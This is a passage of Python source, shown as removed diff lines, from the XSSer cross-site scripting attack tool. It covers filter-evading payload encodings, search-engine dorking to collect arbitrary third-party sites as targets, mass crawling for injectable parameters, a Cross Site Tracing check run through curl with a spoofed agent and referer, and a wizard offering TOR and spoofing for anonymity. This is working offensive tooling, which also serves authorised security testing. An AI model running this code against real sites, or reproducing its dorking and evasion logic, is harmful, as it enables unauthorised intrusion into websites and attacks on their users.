- tok_url = dest_url.replace('PAYLOAD', self_url)
- elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
- tok_url = dest_url.replace('PAYLOAD', self_url)
- elif 'url' in dest_url and 'PAYLOAD' in dest_url:
- tok_url = dest_url.replace('PAYLOAD', self_url)
- self.final_attacks[hashing] = {'url': tok_url}
- if tok_url:
- try:
- if self.options.reverseopen:
- self.report("\n" + "-"*25+"\n")
- self.report("[Info] Launching web browser (default) with a 'token' url...")
- self._webbrowser.open(tok_url)
- except:
- pass
- def _report_attack_failure(self, curl_handle, dest_url, payload,\
- query_string, orig_url):
- """
- report connection failure of an attack
- """
- options = self.options
- current_hashes = [] # to check for ongoing hashes
- if payload['browser'] == "[Heuristic test]":
- for key, value in self.hashed_injections.items():
- if key not in current_hashes:
- self.final_hashes[key] = value
- current_hashes.append(key)
- elif self.options.hash:
- for key, value in self.hashed_injections.items():
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- self.report("-"*45)
- self.report("\n[!] Hashing: \n")
- for key, value in self.hashed_injections.items():
- if str(key) in str(dest_url): # GET
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', key)
- b64_string = b64encode(b64_string)
- b64_string = urllib.parse.urlencode({'':b64_string})
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- if str(b64_string) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else: # when using encoders (Str, Hex, Dec...)
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- if self.options.Cem:
- enc_perm = options.Cem.split(",")
- for e in enc_perm:
- hashed_payload = self.encoding_permutations(payload_string)
- if e == "Str":
- hashed_payload = hashed_payload.replace(",", "%2C")
- if e == "Mix":
- hashed_payload=urllib.parse.quote(hashed_payload)
- if e == "Dec":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if e == "Hex":
- hashed_payload = hashed_payload.replace("%", "%25")
- if e == "Hes":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- else:
- if self.options.Str:
- hashed_payload = hashed_payload.replace(",", "%2C")
- if self.options.Mix:
- hashed_payload=urllib.parse.quote(hashed_payload)
- if self.options.Dec:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if self.options.Hex:
- hashed_payload = hashed_payload.replace("%", "%25")
- if self.options.Hes:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- if self.extra_hashed_injections:
- for k, v in self.extra_hashed_injections.items():
- payload_url = str(v[1])
- if payload_url == payload["payload"]:
- if k not in current_hashes:
- self.report(" [ " +k+" ] : [" , v[0] + " ]")
- self.final_hashes[k] = v[0]
- current_hashes.append(k)
- self.report("\n"+"-"*45+"\n")
- if payload['browser'] == "[Heuristic test]":
- self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
- else:
- if self.extra_hashed_injections:
- extra_attacks=[]
- if options.xsa:
- extra_attacks.append("XSA")
- if options.xsr:
- extra_attacks.append("XSR")
- if options.coo:
- extra_attacks.append("COO")
- if extra_attacks:
- extra_attacks = "+ "+ str(extra_attacks)
- if options.postdata:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
- else:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
- else:
- if options.postdata:
- self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
- else:
- self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
- if not self.options.hash and not self.options.script:
- if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
- pass
- else:
- if not "XSS" in dest_url or not "X1S" in dest_url:
- if self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- # statistics injections counters
- if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
- self.check_positives = self.check_positives + 1
- elif payload['browser']=="[Data Control Protocol Injection]":
- self.dcp_injection = self.dcp_injection + 1
- elif payload['browser']=="[Document Object Model Injection]":
- self.dom_injection = self.dom_injection + 1
- elif payload['browser']=="[Induced Injection]":
- self.httpsr_injection = self.httpsr_injection + 1
- elif payload['browser']=="[manual_injection]":
- self.manual_injection = self.manual_injection + 1
- else:
- self.auto_injection = self.auto_injection +1
- if not self.hashed_injections:
- for k, v in self.extra_hashed_injections.items():
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- for key, value in self.hashed_injections.items():
- for k, v in self.extra_hashed_injections.items():
- payload_url = v[1]
- payload_url = payload_url.replace("PAYLOAD",key)
- payload_url = payload_url.replace(" ", "+") # black magic!
- final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
- if payload_url in final_dest_url:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- if options.verbose:
- self.report("-"*45)
- self.report("\n[+] HTTP Headers Verbose:\n")
- self.report(" [Client Request]")
- Curl.print_options()
- self.report(" [Server Reply]\n")
- self.report(curl_handle.info())
- self.report("="*45)
- self.report("[*] Injection(s) Results:")
- self.report("="*45 + "\n")
- if payload['browser']=="[Heuristic test]":
- for key, value in self.final_hashes.items():
- if str(key) in dest_url:
- heuristic_string = key
- heuristic_param = str(payload['payload']).strip('XSS')
- if heuristic_param == "\\":
- self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
- elif heuristic_param == "/":
- self.heuris_slash_notfound = self.heuris_slash_notfound + 1
- elif heuristic_param == ">":
- self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
- elif heuristic_param == "<":
- self.heuris_minor_notfound = self.heuris_minor_notfound + 1
- elif heuristic_param == ";":
- self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
- elif heuristic_param == "'":
- self.heuris_colon_notfound = self.heuris_colon_notfound + 1
- elif heuristic_param == '"':
- self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
- elif heuristic_param == "=":
- self.heuris_equal_notfound = self.heuris_equal_notfound + 1
- self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
- elif self.options.hash:
- for key, value in self.final_hashes.items():
- self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
- self.report("\n" +"="*45)
- else:
- for key, value in self.final_hashes.items():
- if "XSA" in value:
- method = "xsa"
- hashing = key
- elif "XSR" in value:
- method = "xsr"
- hashing = key
- elif "COO" in value:
- method = "coo"
- hashing = key
- else:
- method = "url"
- hashing = key
- if self.options.Str:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace(",", "%2C")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Mix:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload=urllib.parse.quote(hashed_payload)
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Dec:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Hex:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace("%", "%25")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Hes:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- else:
- if self.options.Cem:
- enc_perm = options.Cem.split(",")
- payload_string = payload["payload"].replace("PAYLOAD", key)
- for e in enc_perm:
- hashed_payload = self.encoding_permutations(payload_string)
- if str(e) == "Str":
- hashed_payload = hashed_payload.replace(",", "%2C")
- if e == "Mix":
- hashed_payload=urllib.parse.quote(hashed_payload)
- if e == "Dec":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if e == "Hex":
- hashed_payload = hashed_payload.replace("%", "%25")
- if e == "Hes":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- else:
- if str(key) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- else:
- if key in current_hashes:
- if method == "xsa":
- self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
- elif method == "xsr":
- self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
- elif method == "coo":
- self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
- self.report("\n" +"="*45)
- if str(curl_handle.info()["http-code"]) == "404":
- self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
- elif str(curl_handle.info()["http-code"]) == "403":
- self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
- elif str(curl_handle.info()["http-code"]) == "400":
- self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
- elif str(curl_handle.info()["http-code"]) == "401":
- self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
- elif str(curl_handle.info()["http-code"]) == "407":
- self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
- elif str(curl_handle.info()["http-code"]) == "408":
- self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
- elif str(curl_handle.info()["http-code"]) == "500":
- self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
- elif str(curl_handle.info()["http-code"]) == "501":
- self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
- elif str(curl_handle.info()["http-code"]) == "502":
- self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
- elif str(curl_handle.info()["http-code"]) == "503":
- self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
- elif str(curl_handle.info()["http-code"]) == "504":
- self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
- elif str(curl_handle.info()["http-code"]) == "0":
- self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
- else:
- self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
- if str(curl_handle.info()["http-code"]) == "404":
- self.not_connection = self.not_connection + 1
- elif str(curl_handle.info()["http-code"]) == "503":
- self.forwarded_connection = self.forwarded_connection + 1
- else:
- self.other_connection = self.other_connection + 1
- def check_positive(self, curl_handle, dest_url, payload, query_string):
- """
- Perform extra check for positives
- """
- body = curl_handle.body()
- pass
- def create_options(self, args=None):
- """
- Create options for OptionParser.
- """
- self.optionParser = XSSerOptions()
- self.options = self.optionParser.get_options(args)
- if not self.options:
- return False
- return self.options
- def _get_attack_urls(self):
- """
- Process payload options and make up the payload list for the attack.
- """
- urls = []
- options = self.options
- p = self.optionParser
- if options.imx:
- self.create_fake_image(options.imx, options.script)
- return []
- if options.flash:
- self.create_fake_flash(options.flash, options.script)
- return []
- if options.update:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- try:
- print("\nTrying to update to the latest stable version...\n")
- Updater()
- except:
- print("\nSomething was wrong!. You should clone XSSer manually with:\n")
- print("$ git clone https://code.03c8.net/epsylon/xsser\n")
- print("\nAlso you can try this other mirror:\n")
- print("$ git clone https://github.com/epsylon/xsser\n")
- return []
- if options.wizard: # processing wizard template
- if self.user_template is not None:
- self.options.statistics = True # detailed output
- if self.user_template[0] == "DORKING": # mass-dorking
- self.options.dork_file = True
- self.options.dork_mass = True
- elif "http" in self.user_template[0]: # from target url
- self.options.url = self.user_template[0]
- else: # from file
- self.options.readfile = self.user_template[0]
- if self.user_template[1] == "CRAWLER": # crawlering target
- self.options.crawling = "10"
- else: # manual payload (GET or POST)
- if self.user_template_conntype == "GET":
- self.options.getdata = self.user_template[1]
- else:
- self.options.postdata = self.user_template[1]
- if self.user_template[2] == "Proxy: No - Spoofing: Yes":
- self.options.ignoreproxy = True
- self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
- self.options.referer = "127.0.0.1" # spoof referer
- elif self.user_template[2] == "Proxy: No - Spoofing: No":
- self.options.ignoreproxy = True
- else: # using proxy + spoofing
- self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
- self.options.referer = "127.0.0.1" # spoof referer
- if self.user_template[2] is not None:
- self.options.proxy = self.user_template[2]
- else:
- self.options.ignoreproxy = True
- if self.user_template[3] == "Not using encoders":
- pass
- elif self.user_template[3] == "Hex": # Hexadecimal
- self.options.Hex = True
- elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
- self.options.Str = True
- self.options.Une = True
- else: # Character encoding mutations
- self.options.Cem = self.user_template[3]
- if self.user_template[4] == "Alertbox": # Classic AlertBox injection
- self.options.finalpayload = "<script>alert('XSS');</script>"
- else:
- if self.user_template[4] is not None: # Inject user script
- self.options.finalpayload = self.user_template[4]
- else: # not final injection
- pass
- else: # exit
- return
- if options.target: # miau!
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [Full XSS audit]... ;-)")
- self.report('='*75)
- self.report("\n[Info] The following actions will be performed at the end:\n")
- self.report(" 1- Output with detailed statistics\n")
- self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
- self.options.crawling = "99999" # set max num of urls to crawl
- self.options.crawler_width = "5" # set max num of deeping levels
- self.options.statistics = True # detailed output
- self.options.timeout = "60" # timeout
- self.options.retries = "2" # retries
- self.options.delay = "5" # delay
- self.options.threads = "10" # threads
- self.options.followred = True # follow redirs
- self.options.nohead = False # HEAD check
- self.options.reversecheck = True # try to establish a reverse connection
- self.options.fuzz = True # autofuzzing
- self.options.coo = True # COO
- self.options.xsa = True # XSA
- self.options.xsr = True # XSR
- self.options.dcp = True # DCP
- self.options.dom = True # DOM
- self.options.inducedcode = True # Induced
- self.options.fileoutput = True # Important: export results to file (.raw)
- self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
- self.check_trace() # XST
- urls = [options.target]
- if options.url:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- if self.options.crawling:
- self.report("Testing [XSS from CRAWLER]...")
- else:
- self.report("Testing [XSS from URL]...")
- self.report('='*75)
- urls = [options.url]
- elif options.readfile:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [XSS from FILE]...")
- self.report('='*75)
- try:
- f = open(options.readfile)
- urls = f.readlines()
- urls = [ line.replace('\n','') for line in urls ]
- f.close()
- except:
- import os.path
- if os.path.exists(options.readfile) == True:
- self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
- else:
- self.report('\nCannot found file: ', options.readfile, "\n")
- elif options.dork: # dork a query
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [XSS from DORK]... Good luck! ;-)")
- self.report('='*75)
- if options.dork_mass: # massive dorkering
- for e in self.search_engines:
- try:
- dorker = Dorker(e)
- urls = dorker.dork(options.dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.items(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.parse.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception as e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- else:
- if not options.dork_engine:
- options.dork_engine = 'duck' # default search engine [26-08/2019]
- dorker = Dorker(options.dork_engine)
- try:
- urls = dorker.dork(options.dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.items(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.parse.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception as e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [XSS from DORK]... Good luck! ;-)")
- self.report('='*75)
- try:
- f = open('core/fuzzing/dorks.txt')
- dorks = f.readlines()
- dorks = [ dork.replace('\n','') for dork in dorks ]
- f.close()
- if not dorks:
- print("\n[Error] - Imposible to retrieve 'dorks' from file.\n")
- return
- except:
- if os.path.exists('core/fuzzing/dorks.txt') == True:
- print('[Error] - Cannot open:', 'dorks.txt', "\n")
- return
- else:
- print('[Error] - Cannot found:', 'dorks.txt', "\n")
- return
- if not options.dork_engine:
- options.dork_engine = 'duck' # default search engine [26-08/2019]
- if options.dork_mass: # massive dorkering
- for e in self.search_engines:
- try:
- dorker = Dorker(e)
- for dork in dorks:
- urls = dorker.dork(dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.items(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.parse.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception as e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- else:
- dorker = Dorker(options.dork_engine)
- try:
- for dork in dorks:
- urls = dorker.dork(dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.items(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.parse.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception as e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- if options.crawling: # crawlering target(s)
- nthreads = options.threads
- self.crawled_urls = list(urls)
- all_crawled = []
- try:
- self.options.crawling = int(self.options.crawling)
- except:
- self.options.crawling = 50
- if self.options.crawler_width == None:
- self.options.crawler_width = 2 # default crawlering-width
- else:
- try:
- self.options.crawler_width = int(self.options.crawler_width)
- except:
- self.options.crawler_width = 2 # default crawlering-width
- if self.options.crawler_local == None:
- self.options.crawler_local = False # default crawlering to LOCAL
- for url in set(urls):
- self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+ " \n - Deep level: "+ str(options.crawler_width))
- crawler = Crawler(self, Curl, all_crawled,
- self.pool)
- crawler.set_reporter(self)
- # now wait for all results to arrive
- while urls:
- self.run_crawl(crawler, urls.pop(), options)
- while not self._landing:
- for reporter in self._reporters:
- reporter.report_state('broad scanning')
- try:
- self.pool.poll()
- except NoResultsPending:
- crawler.cancel()
- break
- if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
- self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
- crawler.cancel()
- break
- time.sleep(0.1)
- # re-parse crawled urls from main
- parsed_crawled_urls = []
- for u in self.crawled_urls:
- if "XSS" in u:
- parsed_crawled_urls.append(u)
- else:
- pass
- self.crawled_urls = parsed_crawled_urls
- # report parsed crawled urls
- self.report("\n" + "-"*25)
- self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
- if self.options.verbose:
- self.report("")
- for u in self.crawled_urls:
- if '/XSS' in u:
- u = u.replace("/XSS", "")
- print(" - " + str(u))
- if len(self.crawled_urls) > 0:
- self.report("")
- else:
- self.report("-"*25)
- self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
- return self.crawled_urls
- if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
- return urls
-
- def run_crawl(self, crawler, url, options):
- def _cb(request, result):
- pass
- def _error_cb(request, error):
- for reporter in self._reporters:
- reporter.mosquito_crashed(url, str(error[0]))
- traceback.print_tb(error[2])
- def crawler_main(args):
- return crawler.crawl(*args)
- crawler.crawl(url, int(options.crawler_width),
- int(options.crawling),options.crawler_local)
-
- def poll_workers(self):
- try:
- self.pool.poll()
- except NoResultsPending:
- pass
- def try_running(self, func, error, args=[]):
- """
- Try running a function and print some error if it fails and exists with
- a fatal error.
- """
- try:
- return func(*args)
- except Exception as e:
- self.report(error)
- if DEBUG:
- traceback.print_exc()
-
- def check_trace(self):
- """
- Check for Cross Site Tracing (XST) vulnerability:
- 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
- 2) check data sent on reply
- """
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- agent = random.choice(agents).strip() # set random user-agent
- referer = '127.0.0.1'
- import subprocess, shlex
- self.report('='*75)
- self.report("\n[Info] Trying method: Cross Site Tracing (XST)\n")
- if self.options.xst:
- xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
- if self.options.target:
- xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
- line1 = xst.stdout.readline()
- if self.options.verbose:
- print("-"*25 + "\n")
- while True:
- line = xst.stdout.readline()
- if line != '':
- print(line.rstrip())
- else:
- break
- self.report("")
- self.report('-'*50+"\n")
- if "200 OK" in line1.rstrip():
- print("[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)\n")
- else:
- print("[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ;-(\n")
- if self.options.target:
- self.report('='*75)
-
- def start_wizard(self):
- """
- Start Wizard Helper
- """
- #step 0: Menu
- ans1=True
- ans2=True
- ans3=True
- ans4=True
- ans5=True
- ans6=True
- #step 1: Where
- while ans1:
- print("""\nA)- Where are your targets?\n
- [1]- I want to enter the url of my target directly.
- [2]- I want to enter a list of targets from a .txt file.
- *[3]- I don't know where are my target(s)... I just want to explore! :-)
- [e]- Exit/Quit/Abort.
- """)
- ans1 = input("Your choice: [1], [2], [3] or [e]xit\n")
- if ans1 == "1": # from url
- url = input("Target url (ex: http(s)://target.com): ")
- if url.startswith("http"):
- ans1 = None
- else:
- print("\n[Error] Your url is not valid!. Try again!")
- pass
- elif ans1 == "2": # from file
- url = input("Path to file (ex: 'targets_list.txt'): ")
- if url == None:
- print("\n[Error] Your are not providing a valid file. Try again!")
- pass
- else:
- ans1 = None
- elif ans1 == "3": # dorking
- url = "DORKING"
- ans1 = None
- elif (ans1 == "e" or ans1 == "E"):
- print("Closing wizard...")
- ans1=None
- ans2=None
- ans3=None
- ans4=None
- ans5=None
- ans6=None
- else:
- print("\nNot valid choice. Try again!")
- #step 2: How
- while ans2:
- print(22*"-")
- print("""\nB)- How do you want to connect?\n
- [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
- [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
- [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
- *[4]- I don't know how to connect... Just do it! :-)
- [e]- Exit/Quit/Abort.
- """)
- ans2 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
- if ans2 == "1": # using GET
- payload = input("GET payload (ex: '/menu.php?q='): ")
- if payload == None:
- print("\n[Error] Your are providing an empty payload. Try again!")
- pass
- else:
- self.user_template_conntype = "GET"
- ans2 = None
- elif ans2 == "2": # using POST
- payload = input("POST payload (ex: 'foo=1&bar='): ")
- if payload == None:
- print("\n[Error] Your are providing an empty payload. Try again!")
- pass
- else:
- self.user_template_conntype = "POST"
- ans2 = None
- elif ans2 == "3": # crawlering
- payload = "CRAWLER"
- ans2 = None
- elif ans2 == "4": # crawlering
- payload = "CRAWLER"
- ans2 = None
- elif (ans2 == "e" or ans2 == "E"):
- print("Closing wizard...")
- ans2=None
- ans3=None
- ans4=None
- ans5=None
- ans6=None
- else:
- print("\nNot valid choice. Try again!")
- #step 3: Proxy
- while ans3:
- print(22*"-")
- print("""\nC)- Do you want to be 'anonymous'?\n
- [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
- [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
- *[3]- Yes. But I haven't any proxy. :-)
- [4]- No. It's not a problem for me to connect directly to the target(s).
- [e]- Exit/Quit.
- """)
- ans3 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
- if ans3 == "1": # using PROXY + spoofing
- proxy = input("Enter proxy [http(s)://server:port]: ")
- ans3 = None
- elif ans3 == "2": # using TOR + spoofing
- proxy = 'Using TOR (default: http://127.0.0.1:8118)'
- proxy = 'http://127.0.0.1:8118'
- ans3 = None
- elif ans3 == "3": # only spoofing
- proxy = 'Proxy: No - Spoofing: Yes'
- ans3 = None
- elif ans3 == "4": # no spoofing
- proxy = 'Proxy: No - Spoofing: No'
- ans3 = None
- elif (ans3 == "e" or ans3 == "E"):
- print("Closing wizard...")
- ans3=None
- ans4=None
- ans5=None
- ans6=None
- else:
- print("\nNot valid choice. Try again!")
- #step 4: Bypasser(s)
- while ans4:
- print(22*"-")
- print("""\nD)- Which 'bypasser(s' do you want to use?\n
- [1]- I want to inject XSS scripts without any encoding.
- [2]- Try to inject code using 'Hexadecimal'.
- [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
- [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
- *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
- [e]- Exit/Quit.
- """)
- ans4 = input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
- if ans4 == "1": # no encode
- enc = "Not using encoders"
- ans4 = None
- elif ans4 == "2": # enc: Hex
- enc = 'Hex'
- ans4 = None
